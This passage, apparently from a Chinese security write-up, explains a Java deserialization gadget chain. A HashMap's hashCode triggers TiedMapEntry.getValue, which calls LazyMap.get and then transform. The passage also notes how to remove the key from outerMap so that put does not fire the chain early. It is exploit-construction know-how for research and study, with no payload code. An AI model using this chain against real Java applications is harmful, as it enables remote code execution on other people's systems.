然后使用TiedMapEntry将LazyMap带入,然后再创造一个新的Map用于触发hashcode然后触发TiedMapEntry中的getValue方法,然后调用get方法,但是put方法如下

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

调用了hash,那么也就是说还是触发了hashCode

此时将outerMap中的key进行remove即可,因为将其中的key的一些相关数值删除了,但是没有将键值对删去

链子

1
2
3
HashMap->hashCode->getValue
TiedMapEntry->getValue->get
LazyMap->get->transform